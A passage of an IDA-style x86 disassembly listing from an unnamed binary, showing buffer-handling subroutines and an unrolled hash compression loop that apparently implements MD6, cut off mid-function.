		jmp	short loc_9A8FEE
; ---------------------------------------------------------------------------


loc_9A8FEB:				; CODE XREF: sub_9A8F65+26j
					; sub_9A8F65+2Fj
		push	2


loc_9A8FED:				; CODE XREF: sub_9A8F65+70j
		pop	eax


loc_9A8FEE:				; CODE XREF: sub_9A8F65+84j
		pop	ebx


loc_9A8FEF:				; CODE XREF: sub_9A8F65+1Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_9A8F65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8FF3	proc near		; CODE XREF: sub_9A90E2+A2p

Dst		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_9A9003
		push	3
		jmp	short loc_9A900E
; ---------------------------------------------------------------------------


loc_9A9003:				; CODE XREF: sub_9A8FF3+Aj
		cmp	dword ptr [esi+10Ch], 0
		jnz	short loc_9A9014
		push	5


loc_9A900E:				; CODE XREF: sub_9A8FF3+Ej
		pop	eax
		jmp	loc_9A90DF
; ---------------------------------------------------------------------------


loc_9A9014:				; CODE XREF: sub_9A8FF3+17j
		push	ebx
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jge	short loc_9A9024
		push	6


loc_9A901E:				; CODE XREF: sub_9A8FF3+38j
		pop	eax
		jmp	loc_9A90DE
; ---------------------------------------------------------------------------


loc_9A9024:				; CODE XREF: sub_9A8FF3+27j
		cmp	ebx, 1Ch
		jl	short loc_9A902D
		push	7
		jmp	short loc_9A901E
; ---------------------------------------------------------------------------


loc_9A902D:				; CODE XREF: sub_9A8FF3+34j
		lea	eax, [esi+118h]
		add	dword ptr [eax], 1
		adc	dword ptr [eax+4], 0
		cmp	ebx, 1
		jnz	short loc_9A9064
		mov	eax, [esi+16Ch]
		inc	eax
		cmp	eax, ebx
		jle	short loc_9A9054
		push	40h
		lea	eax, [esi+378h]
		jmp	short loc_9A905C
; ---------------------------------------------------------------------------


loc_9A9054:				; CODE XREF: sub_9A8FF3+55j
		push	30h
		lea	eax, [esi+3F8h]


loc_9A905C:				; CODE XREF: sub_9A8FF3+5Fj
		push	eax
		call	sub_9A8E1C
		pop	ecx
		pop	ecx


loc_9A9064:				; CODE XREF: sub_9A8FF3+4Aj
		push	edi
		lea	ecx, [esi+ebx*4+3B78h]
		mov	[ebp+arg_4], ecx
		mov	eax, 1000h
		sub	eax, [ecx]
		mov	ecx, ebx
		shl	ecx, 9
		lea	ecx, [ecx+esi+178h]
		push	ecx
		push	dword ptr [esi]
		lea	edi, [esi+ebx*8+3BF0h]
		push	dword ptr [esi+168h]
		add	esi, 128h
		push	eax
		push	[ebp+arg_C]
		mov	[ebp+Dst], ecx
		push	dword ptr [esi+44h]
		push	dword ptr [esi+48h]
		push	dword ptr [edi]
		push	ebx
		push	esi
		push	(offset	loc_9A3547+1)
		push	[ebp+arg_0]
		call	sub_9A9E4E
		xor	ecx, ecx
		add	esp, 30h
		cmp	eax, ecx
		jnz	short loc_9A90DD
		add	dword ptr [edi], 1
		mov	eax, [ebp+arg_4]
		push	200h		; Size
		adc	[edi+4], ecx
		push	ecx		; Val
		push	[ebp+Dst]	; Dst
		mov	[eax], ecx
		call	memset
		add	esp, 0Ch
		xor	eax, eax


loc_9A90DD:				; CODE XREF: sub_9A8FF3+CAj
		pop	edi


loc_9A90DE:				; CODE XREF: sub_9A8FF3+2Cj
		pop	ebx


loc_9A90DF:				; CODE XREF: sub_9A8FF3+1Cj
		pop	esi
		leave
		retn
sub_9A8FF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A90E2	proc near		; CODE XREF: sub_9A90E2+148p
					; sub_9A9237+FDp ...

Src		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		jnz	short loc_9A90FA
		push	3
		jmp	short loc_9A9104
; ---------------------------------------------------------------------------


loc_9A90FA:				; CODE XREF: sub_9A90E2+12j
		cmp	[esi+10Ch], ebx
		jnz	short loc_9A910A
		push	5


loc_9A9104:				; CODE XREF: sub_9A90E2+16j
		pop	eax
		jmp	loc_9A9233
; ---------------------------------------------------------------------------


loc_9A910A:				; CODE XREF: sub_9A90E2+1Ej
		cmp	[ebp+arg_8], ebx
		push	edi
		mov	edi, [ebp+arg_4]
		jnz	short loc_9A9127
		cmp	dword ptr [esi+edi*4+3B78h], 1000h
		jnb	short loc_9A916D


loc_9A9120:				; CODE XREF: sub_9A90E2+6Cj
					; sub_9A90E2+77j ...
		xor	eax, eax
		jmp	loc_9A9232
; ---------------------------------------------------------------------------


loc_9A9127:				; CODE XREF: sub_9A90E2+2Fj
		cmp	edi, [esi+174h]
		jnz	short loc_9A916D
		mov	eax, [esi+16Ch]
		inc	eax
		cmp	edi, eax
		jnz	short loc_9A915B
		cmp	dword ptr [esi+edi*4+3B78h], 400h
		jnz	short loc_9A916D
		cmp	[esi+edi*8+3BF4h], ebx
		ja	short loc_9A9120
		cmp	[esi+edi*8+3BF0h], ebx
		jbe	short loc_9A916D
		jmp	short loc_9A9120
; ---------------------------------------------------------------------------


loc_9A915B:				; CODE XREF: sub_9A90E2+56j
		cmp	edi, 1
		jle	short loc_9A916D
		cmp	dword ptr [esi+edi*4+3B78h], 400h
		jz	short loc_9A9120


loc_9A916D:				; CODE XREF: sub_9A90E2+3Cj
					; sub_9A90E2+4Bj ...
		cmp	[ebp+arg_8], ebx
		jz	short loc_9A917D
		cmp	edi, [esi+174h]
		jnz	short loc_9A917D
		xor	ebx, ebx
		inc	ebx


loc_9A917D:				; CODE XREF: sub_9A90E2+8Ej
					; sub_9A90E2+96j
		push	ebx
		push	edi
		lea	eax, [ebp+Src]
		push	esi
		push	eax
		call	sub_9A8FF3
		add	esp, 10h
		test	eax, eax
		jnz	loc_9A9232
		cmp	ebx, 1
		jnz	short loc_9A91B3
		push	80h		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		add	esi, 8
		push	esi		; Dst
		call	memcpy
		add	esp, 0Ch
		jmp	loc_9A9120
; ---------------------------------------------------------------------------


loc_9A91B3:				; CODE XREF: sub_9A90E2+B5j
		mov	eax, [esi+16Ch]
		inc	eax
		inc	edi
		cmp	edi, eax
		jl	short loc_9A91E7
		mov	edi, eax
		cmp	edi, eax
		jnz	short loc_9A91E7
		mov	eax, [esi+edi*8+3BF0h]
		or	eax, [esi+edi*8+3BF4h]
		jnz	short loc_9A91E7
		lea	eax, [esi+edi*4+3B78h]
		cmp	dword ptr [eax], 0
		jnz	short loc_9A91E7
		mov	dword ptr [eax], 400h


loc_9A91E7:				; CODE XREF: sub_9A90E2+DBj
					; sub_9A90E2+E1j ...
		push	80h		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	ebx, [esi+edi*4+3B78h]
		mov	eax, [ebx]
		shr	eax, 3
		mov	ecx, edi
		shl	ecx, 9
		add	eax, esi
		lea	eax, [ecx+eax+178h]
		push	eax		; Dst
		call	memcpy
		add	dword ptr [ebx], 400h
		lea	eax, [esi+174h]
		add	esp, 0Ch
		cmp	edi, [eax]
		jle	short loc_9A9225
		mov	[eax], edi


loc_9A9225:				; CODE XREF: sub_9A90E2+13Fj
		push	[ebp+arg_8]
		push	edi
		push	esi
		call	sub_9A90E2
		add	esp, 0Ch


loc_9A9232:				; CODE XREF: sub_9A90E2+40j
					; sub_9A90E2+ACj
		pop	edi


loc_9A9233:				; CODE XREF: sub_9A90E2+23j
		pop	esi
		pop	ebx
		leave
		retn
sub_9A90E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A9237	proc near		; CODE XREF: sub_9A8D34+42p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		cmp	esi, eax
		jnz	short loc_9A9248
		push	3
		jmp	short loc_9A925B
; ---------------------------------------------------------------------------


loc_9A9248:				; CODE XREF: sub_9A9237+Bj
		cmp	[esi+10Ch], eax
		jnz	short loc_9A9254
		push	5
		jmp	short loc_9A925B
; ---------------------------------------------------------------------------


loc_9A9254:				; CODE XREF: sub_9A9237+17j
		cmp	[ebp+arg_4], eax
		jnz	short loc_9A9261
		push	8


loc_9A925B:				; CODE XREF: sub_9A9237+Fj
					; sub_9A9237+1Bj
		pop	eax
		jmp	loc_9A935C
; ---------------------------------------------------------------------------


loc_9A9261:				; CODE XREF: sub_9A9237+20j
		cmp	[ebp+arg_C], eax
		push	ebx
		mov	[ebp+arg_0], eax
		jb	loc_9A9359
		ja	short loc_9A9279
		cmp	[ebp+arg_8], eax
		jbe	loc_9A9359


loc_9A9279:				; CODE XREF: sub_9A9237+37j
					; sub_9A9237+10Ej ...
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+arg_C]
		mov	ecx, 1000h
		sub	ecx, [esi+3B7Ch]
		xor	ebx, ebx
		sub	edx, [ebp+arg_0]
		sbb	eax, ebx
		cmp	eax, ebx
		ja	short loc_9A929F
		jb	short loc_9A929B
		cmp	edx, ecx
		jnb	short loc_9A929F


loc_9A929B:				; CODE XREF: sub_9A9237+5Ej
		mov	ebx, edx
		jmp	short loc_9A92A1
; ---------------------------------------------------------------------------


loc_9A929F:				; CODE XREF: sub_9A9237+5Cj
					; sub_9A9237+62j
		mov	ebx, ecx


loc_9A92A1:				; CODE XREF: sub_9A9237+66j
		test	bl, 7
		jnz	short loc_9A92DB
		mov	eax, [esi+3B7Ch]
		test	al, 7
		jnz	short loc_9A92DB
		test	byte ptr [ebp+arg_0], 7
		jnz	short loc_9A92DB
		mov	ecx, ebx
		shr	ecx, 3
		push	ecx		; Size
		mov	ecx, [ebp+arg_0]
		shr	ecx, 3
		add	ecx, [ebp+arg_4]
		shr	eax, 3
		push	ecx		; Src
		lea	eax, [eax+esi+378h]
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch
		jmp	short loc_9A92FB
; ---------------------------------------------------------------------------


loc_9A92DB:				; CODE XREF: sub_9A9237+6Dj
					; sub_9A9237+77j ...
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		add	eax, [ebp+arg_4]
		push	ebx
		push	eax
		push	dword ptr [esi+3B7Ch]
		lea	eax, [esi+378h]
		push	eax
		call	sub_9A8E48
		add	esp, 10h


loc_9A92FB:				; CODE XREF: sub_9A9237+A2j
		add	[esi+3B7Ch], ebx
		add	[ebp+arg_0], ebx
		add	[esi+110h], ebx
		mov	eax, [esi+3B7Ch]
		adc	dword ptr [esi+114h], 0
		cmp	eax, 1000h
		jnz	short loc_9A9340
		xor	eax, eax
		cmp	eax, [ebp+arg_C]
		ja	short loc_9A9340
		jb	short loc_9A932F
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_8]
		jnb	short loc_9A9340


loc_9A932F:				; CODE XREF: sub_9A9237+EEj
		push	0
		push	1
		push	esi
		call	sub_9A90E2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9A935B


loc_9A9340:				; CODE XREF: sub_9A9237+E5j
					; sub_9A9237+ECj ...
		xor	eax, eax
		cmp	eax, [ebp+arg_C]
		jb	loc_9A9279
		ja	short loc_9A9359
		mov	eax, [ebp+arg_8]
		cmp	[ebp+arg_0], eax
		jb	loc_9A9279


loc_9A9359:				; CODE XREF: sub_9A9237+31j
					; sub_9A9237+3Cj ...
		xor	eax, eax


loc_9A935B:				; CODE XREF: sub_9A9237+107j
		pop	ebx


loc_9A935C:				; CODE XREF: sub_9A9237+25j
		pop	esi
		pop	ebp
		retn
sub_9A9237	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A935F	proc near		; CODE XREF: sub_9A942A+8Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi]
		push	edi
		lea	eax, [ecx+7]
		cdq
		push	8
		pop	edi
		idiv	edi
		push	8
		mov	ebx, 80h
		mov	edi, eax
		mov	eax, ecx
		cdq
		pop	ecx
		idiv	ecx
		test	edi, edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edx
		jle	short loc_9A93A4
		mov	ecx, ebx
		lea	eax, [esi+8]
		sub	ecx, edi
		mov	[ebp+arg_0], edi


loc_9A9399:				; CODE XREF: sub_9A935F+43j
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_9A9399


loc_9A93A4:				; CODE XREF: sub_9A935F+2Ej
		cmp	edi, ebx
		jge	short loc_9A93C5
		lea	edx, [edi+esi+8]
		mov	ecx, ebx
		sub	ecx, edi
		mov	edi, edx
		mov	edx, ecx
		shr	ecx, 2
		xor	eax, eax
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	edi, [ebp+var_C]


loc_9A93C5:				; CODE XREF: sub_9A935F+47j
		cmp	[ebp+var_8], 0
		jle	short loc_9A9425
		test	edi, edi
		jle	short loc_9A9425
		push	8
		pop	eax
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], 0FFFFFFF9h
		sub	[ebp+var_4], esi
		mov	[ebp+arg_0], 0FFFFFFF8h
		sub	[ebp+arg_0], esi
		mov	[ebp+var_10], eax
		lea	eax, [esi+8]


loc_9A93EF:				; CODE XREF: sub_9A935F+C4j
		mov	dl, [eax]
		mov	ecx, [ebp+var_10]
		shl	dl, cl
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		cmp	ecx, ebx
		mov	[eax], dl
		jge	short loc_9A941B
		mov	ecx, [ebp+arg_0]
		mov	edi, [ebp+var_C]
		add	ecx, eax
		mov	bl, [ecx+esi+9]
		mov	cl, byte ptr [ebp+var_8]
		shr	bl, cl
		or	bl, dl
		mov	[eax], bl
		mov	ebx, 80h


loc_9A941B:				; CODE XREF: sub_9A935F+A0j
		mov	ecx, [ebp+arg_0]
		inc	eax
		add	ecx, eax
		cmp	ecx, edi
		jl	short loc_9A93EF


loc_9A9425:				; CODE XREF: sub_9A935F+6Aj
					; sub_9A935F+6Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9A935F	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A942A(int,void *Dst)

sub_9A942A	proc near		; CODE XREF: sub_9A8D34+50p

arg_0		= dword	ptr  4
Dst		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_9A9437
		push	3
		jmp	short loc_9A9442
; ---------------------------------------------------------------------------


loc_9A9437:				; CODE XREF: sub_9A942A+7j
		cmp	dword ptr [esi+10Ch], 0
		jnz	short loc_9A9445
		push	5


loc_9A9442:				; CODE XREF: sub_9A942A+Bj
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9A9445:				; CODE XREF: sub_9A942A+14j
		push	ebx
		xor	ebx, ebx
		inc	ebx
		cmp	[esi+120h], ebx
		jz	short loc_9A94C1
		mov	ecx, [esi+174h]
		cmp	ecx, ebx
		mov	eax, ebx
		jz	short loc_9A9476
		jl	short loc_9A9476
		lea	ecx, [esi+3B7Ch]


loc_9A9465:				; CODE XREF: sub_9A942A+4Aj
		cmp	dword ptr [ecx], 0
		ja	short loc_9A9476
		inc	eax
		add	ecx, 4
		cmp	eax, [esi+174h]
		jle	short loc_9A9465


loc_9A9476:				; CODE XREF: sub_9A942A+31j
					; sub_9A942A+33j ...
		push	ebx
		push	eax
		push	esi
		call	sub_9A90E2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9A94C3
		push	edi
		lea	edi, [esi+8]
		push	10h
		push	edi
		call	sub_9A8E1C
		cmp	[esp+14h+Dst], 0
		pop	ecx
		pop	ecx
		jz	short loc_9A94B3
		mov	eax, [esi]
		add	eax, 7
		push	8
		pop	ecx
		cdq
		idiv	ecx
		push	eax		; Size
		push	edi		; Src
		push	[esp+14h+Dst]	; Dst
		call	memcpy
		add	esp, 0Ch


loc_9A94B3:				; CODE XREF: sub_9A942A+6Ej
		push	esi
		call	sub_9A935F
		pop	ecx
		mov	[esi+120h], ebx
		pop	edi


loc_9A94C1:				; CODE XREF: sub_9A942A+25j
		xor	eax, eax


loc_9A94C3:				; CODE XREF: sub_9A942A+59j
		pop	ebx
		pop	esi
		retn
sub_9A942A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A94C6	proc near		; CODE XREF: sub_9A9C7E+63p

var_54		= dword	ptr -54h
var_4C		= dword	ptr -4Ch
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		mov	ecx, [ebp+arg_4]
		shl	ecx, 4
		test	ecx, ecx
		mov	[ebp+var_C], 89ABCDEFh
		mov	[ebp+var_8], 1234567h
		jle	locret_9A9C7C
		mov	eax, [ebp+arg_0]
		add	eax, 1D0h
		dec	ecx
		push	ebx
		shr	ecx, 4
		inc	ecx
		push	esi
		mov	[ebp+var_4], ecx
		push	edi


loc_9A94FB:				; CODE XREF: sub_9A94C6+7ADj
		mov	edi, [eax+50h]
		mov	ebx, [eax+68h]
		mov	esi, [eax+54h]
		mov	edx, [eax-11Ch]
		and	edx, [eax+4]
		and	ebx, edi
		mov	ecx, [eax-120h]
		and	ecx, [eax]
		mov	edi, [eax+6Ch]
		xor	ecx, ebx
		xor	ecx, [eax-1D0h]
		and	edi, esi
		xor	edx, edi
		xor	edx, [eax-1CCh]
		mov	esi, [eax+70h]
		xor	edx, [eax+74h]
		xor	ecx, esi
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Ah
		xor	ecx, edi
		shr	ebx, 0Ah
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 0Bh
		xor	ebx, edx
		mov	edx, [eax-114h]
		and	edx, [eax+0Ch]
		shl	edi, 0Bh
		xor	edi, ecx
		mov	ecx, [eax-118h]
		and	ecx, [eax+8]
		mov	[eax+0FCh], ebx
		mov	ebx, [eax+58h]
		and	esi, ebx
		mov	ebx, [eax+74h]
		mov	[eax+0F8h], edi
		mov	edi, [eax+5Ch]
		and	ebx, edi
		xor	edx, ebx
		xor	edx, [eax-1C4h]
		xor	ecx, esi
		xor	ecx, [eax-1C8h]
		mov	esi, [eax+7Ch]
		xor	ecx, [eax+78h]
		xor	edx, esi
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 5
		xor	ecx, edi
		shr	ebx, 5
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 18h
		shl	edi, 18h
		xor	edi, ecx
		xor	ebx, edx
		mov	edx, [eax-10Ch]
		and	edx, [eax+14h]
		lea	ecx, [eax+80h]
		mov	[ebp+arg_4], ecx
		mov	ecx, [eax-110h]
		and	ecx, [eax+10h]
		mov	[eax+100h], edi
		mov	edi, [eax+60h]
		and	edi, [eax+78h]
		mov	[eax+104h], ebx
		mov	ebx, [eax+64h]
		and	ebx, esi
		mov	esi, [ebp+arg_4]
		xor	ecx, edi
		xor	ecx, [eax-1C0h]
		mov	edi, [esi]
		xor	edx, ebx
		xor	edx, [eax-1BCh]
		mov	esi, [esi+4]
		xor	ecx, edi
		xor	ecx, [ebp+var_C]
		xor	edx, esi
		xor	edx, [ebp+var_8]
		mov	[ebp+var_30], esi
		mov	esi, ecx
		mov	ebx, edx
		shrd	esi, ebx, 0Dh
		xor	ecx, esi
		shr	ebx, 0Dh
		xor	edx, ebx
		mov	esi, ecx
		mov	ebx, edx
		shld	ebx, esi, 9
		xor	ebx, edx
		mov	edx, [eax-104h]
		and	edx, [eax+1Ch]
		shl	esi, 9
		xor	esi, ecx
		mov	ecx, [eax-108h]
		and	ecx, [eax+18h]
		mov	[eax+108h], esi
		mov	esi, [eax+68h]
		and	esi, edi
		mov	edi, [eax+6Ch]
		and	edi, [ebp+var_30]
		xor	ecx, esi
		xor	ecx, [eax-1B8h]
		mov	esi, [eax+88h]
		xor	edx, edi
		xor	edx, [eax-1B4h]
		xor	ecx, esi
		xor	edx, [eax+8Ch]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	[eax+10Ch], ebx
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Ah
		xor	ecx, edi
		shr	ebx, 0Ah
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 10h
		shl	edi, 10h
		xor	edi, ecx
		mov	ecx, [eax-100h]
		and	ecx, [eax+20h]
		xor	ebx, edx
		mov	edx, [eax-0FCh]
		and	edx, [eax+24h]
		mov	[eax+110h], edi
		mov	edi, [eax+70h]
		and	edi, esi
		mov	esi, [eax+74h]
		and	esi, [eax+8Ch]
		xor	ecx, edi
		xor	ecx, [eax-1B0h]
		xor	edx, esi
		xor	edx, [eax-1ACh]
		mov	esi, [eax+90h]
		xor	edx, [eax+94h]
		xor	ecx, esi
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	[eax+114h], ebx
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Bh
		shr	ebx, 0Bh
		xor	ecx, edi
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 0Fh
		shl	edi, 0Fh
		xor	edi, ecx
		xor	ebx, edx
		mov	[eax+118h], edi
		mov	edx, [eax-0F4h]
		and	edx, [eax+2Ch]
		mov	edi, [eax+94h]
		and	edi, [eax+7Ch]
		mov	ecx, [eax-0F8h]
		and	ecx, [eax+28h]
		and	esi, [eax+78h]
		xor	edx, edi
		xor	edx, [eax-1A4h]
		xor	ecx, esi
		xor	ecx, [eax-1A8h]
		xor	edx, [eax+9Ch]
		mov	esi, [eax+98h]
		xor	edx, [ebp+var_8]
		xor	ecx, esi
		xor	ecx, [ebp+var_C]
		mov	[eax+11Ch], ebx
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Ch
		xor	ecx, edi
		shr	ebx, 0Ch
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 9
		xor	ebx, edx
		mov	edx, [eax-0ECh]
		and	edx, [eax+34h]
		shl	edi, 9
		xor	edi, ecx
		mov	ecx, [eax-0F0h]
		and	ecx, [eax+30h]
		mov	[eax+124h], ebx
		mov	ebx, [ebp+arg_4]
		mov	[eax+120h], edi
		mov	edi, esi
		and	edi, [ebx]
		mov	ebx, [eax+9Ch]
		and	ebx, [ebp+var_30]
		xor	ecx, edi
		xor	ecx, [eax-1A0h]
		xor	edx, ebx
		xor	edx, [eax-19Ch]
		xor	ecx, [eax+0A0h]
		xor	edx, [eax+0A4h]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 2
		xor	ecx, edi
		shr	ebx, 2
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 1Bh
		xor	ebx, edx
		mov	edx, [eax-0E4h]
		and	edx, [eax+3Ch]
		shl	edi, 1Bh
		xor	edi, ecx
		mov	ecx, [eax-0E8h]
		and	ecx, [eax+38h]
		mov	[eax+128h], edi
		mov	edi, [eax+0A0h]
		and	edi, [eax+88h]
		mov	[eax+12Ch], ebx
		mov	ebx, [eax+0A4h]
		and	ebx, [eax+8Ch]
		xor	ecx, edi
		xor	ecx, [eax-198h]
		xor	edx, ebx
		xor	edx, [eax-194h]
		xor	ecx, [eax+0A8h]
		xor	edx, [eax+0ACh]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 7
		xor	ecx, edi
		shr	ebx, 7
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 0Fh
		xor	ebx, edx
		mov	edx, [eax-0DCh]
		and	edx, [eax+44h]
		shl	edi, 0Fh
		xor	edi, ecx
		mov	ecx, [eax+0B0h]
		mov	[ebp+var_14], ecx
		mov	ecx, [eax+0B4h]
		mov	[ebp+var_10], ecx
		mov	ecx, [eax-0E0h]
		and	ecx, [eax+40h]
		mov	[eax+130h], edi
		mov	edi, [eax+0A8h]
		and	edi, [eax+90h]
		mov	[eax+134h], ebx
		mov	ebx, [eax+0ACh]
		and	ebx, [eax+94h]
		xor	ecx, edi
		xor	ecx, [eax-190h]
		xor	edx, ebx
		xor	edx, [eax-18Ch]
		xor	ecx, [ebp+var_14]
		xor	edx, [ebp+var_10]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Eh
		xor	ecx, edi
		shr	ebx, 0Eh
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 6
		shl	edi, 6
		xor	edi, ecx
		mov	ecx, [eax-0D8h]
		and	ecx, [eax+48h]
		xor	ebx, edx
		mov	edx, [eax-0D4h]
		and	edx, [eax+4Ch]
		mov	[eax+138h], edi
		mov	edi, [ebp+var_14]
		and	edi, esi
		mov	esi, [ebp+var_10]
		and	esi, [eax+9Ch]
		xor	ecx, edi
		xor	ecx, [eax-188h]
		xor	edx, esi
		xor	edx, [eax-184h]
		xor	ecx, [eax+0B8h]
		xor	edx, [eax+0BCh]
		xor	ecx, [ebp+var_C]
		mov	esi, [ebp+var_8]
		mov	[eax+13Ch], ebx
		xor	edx, esi
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Fh
		xor	ecx, edi
		shr	ebx, 0Fh
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 2
		shl	edi, 2
		xor	edi, ecx
		mov	ecx, [eax-0D0h]
		and	ecx, [eax+50h]
		xor	ebx, edx
		mov	edx, [eax-0CCh]
		and	edx, [eax+54h]
		mov	[eax+140h], edi
		mov	edi, [eax+0B8h]
		mov	[eax+144h], ebx
		and	edi, [eax+0A0h]
		mov	ebx, [eax+0BCh]
		and	ebx, [eax+0A4h]
		xor	ecx, edi
		xor	ecx, [eax-180h]
		xor	edx, ebx
		xor	edx, [eax-17Ch]
		xor	ecx, [eax+0C0h]
		xor	edx, [eax+0C4h]
		xor	ecx, [ebp+var_C]
		xor	edx, esi
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 7
		xor	ecx, edi
		shr	ebx, 7
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 1Dh
		xor	ebx, edx
		mov	edx, [eax-0C4h]
		and	edx, [eax+5Ch]
		shl	edi, 1Dh
		xor	edi, ecx
		mov	ecx, [eax-0C8h]
		and	ecx, [eax+58h]
		mov	[eax+148h], edi
		mov	edi, [eax+0C0h]
		and	edi, [eax+0A8h]
		mov	[eax+14Ch], ebx
		mov	ebx, [eax+0C4h]
		and	ebx, [eax+0ACh]
		xor	ecx, edi
		xor	ecx, [eax-178h]
		xor	edx, ebx
		xor	edx, [eax-174h]
		xor	ecx, [eax+0C8h]
		xor	edx, [eax+0CCh]
		xor	ecx, [ebp+var_C]
		xor	edx, esi
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Dh
		xor	ecx, edi
		shr	ebx, 0Dh
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 8
		shl	edi, 8
		xor	edi, ecx
		mov	ecx, [eax+0D0h]
		mov	[ebp+var_1C], ecx
		mov	ecx, [eax+0D4h]
		mov	[eax+150h], edi
		mov	edi, [ebp+var_14]
		and	edi, [eax+0C8h]
		xor	ebx, edx
		mov	edx, [eax-0BCh]
		and	edx, [eax+64h]
		mov	[ebp+var_18], ecx
		mov	ecx, [eax-0C0h]
		and	ecx, [eax+60h]
		mov	[ebp+var_3C], edi
		mov	edi, [ebp+var_10]
		and	edi, [eax+0CCh]
		xor	ecx, [ebp+var_3C]
		xor	edx, edi
		xor	ecx, [eax-170h]
		xor	edx, [eax-16Ch]
		xor	ecx, [ebp+var_1C]
		xor	edx, [ebp+var_18]
		xor	ecx, [ebp+var_C]
		mov	[eax+154h], ebx
		xor	edx, esi
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Bh
		shr	ebx, 0Bh
		xor	ecx, edi
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 0Fh
		xor	ebx, edx
		mov	edx, [eax-0B4h]
		and	edx, [eax+6Ch]
		shl	edi, 0Fh
		xor	edi, ecx
		mov	ecx, [eax+0D8h]
		mov	[ebp+var_24], ecx
